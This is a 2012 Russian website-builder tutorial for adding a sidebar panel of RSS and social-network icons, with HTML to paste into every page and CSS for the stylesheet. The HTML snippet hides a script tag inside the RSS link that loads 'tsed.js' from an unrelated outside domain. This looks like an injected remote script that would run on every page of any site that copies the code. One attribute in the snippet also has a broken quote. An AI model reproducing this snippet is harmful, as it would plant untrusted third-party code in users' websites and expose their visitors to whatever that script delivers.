Понедельник, 01/Мар/2021, 14:14:19
Главная Регистрация RSS
Приветствую Вас, Спектор
Наш опрос
Оцените сайт
Всего ответов: 30
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Общая статистика:
  • Всего чел. на сайте: 4444 
  • Новых за месяц: 0 
  • Новых за неделю: 0 
  • Новых вчера: 0
  • Новых сегодня: 0

Сегодня нас посетили:
Форма входа
Теги
Поиск
Мини-чат
200
Главная » 2012 » Декабрь » 17 » Оригинальная боковая панелька
09:03:38
Оригинальная боковая панелька

Описание: На всех страницах находим код:

Code
<div id="rt-maintop"> <div class="clear"></div> </div> <div id="rt-main" class="sa4-mb8"> <div class="rt-grid-8 rt-push-4"> <!-- <body> -->$CONTENT$<!-- </body> --> </div> <div class="rt-grid-4 rt-pull-8"> <div id="rt-sidebar-a">


И перед ним ставим:

Code
<div class="bg-icons"> <a href="ВАША ССЫЛКА на RSS"target="_blank" title="RSS подписка" class="rss-ic"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script></a> <a href="ВАША ССЫЛКА в контакте"target="_blank" title="Я Vkontakte" class="twi-ic"></a> <a href="ВАША ССЫЛКА" в мире"target="_blank" title="Я в Мире" class="flcr-ic"></a> </div>


В css в самый низ ставим:

Code
.bg-icons { background: url(http://scriptoza.my1.ru/images/bg-icons.png); height: 216px; width: 53px; position: absolute; top: 470px; margin-left: 960px; } a.rss-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px 0px; height: 56px; width: 50px; position: absolute; top: 24px; display:block; } a.twi-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -56px; height: 58px; width: 50px; position: absolute; top: 82px; left: 0px; display:block; } a.flcr-ic { background: url(http://scriptoza.my1.ru/images/icons-glow.png) no-repeat; background-position: -90px -114px; height: 48px; width: 50px; position: absolute; top: 140px; left: 0px; display:block; } a.rss-ic:hover {background-position: 0px 0px;} a.twi-ic:hover {background-position: 0px -56px;} a.flcr-ic:hover {background-position: 0px -114px;}
Просмотров: 182 | Добавил: startsmart | Рейтинг: 4.0/1
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]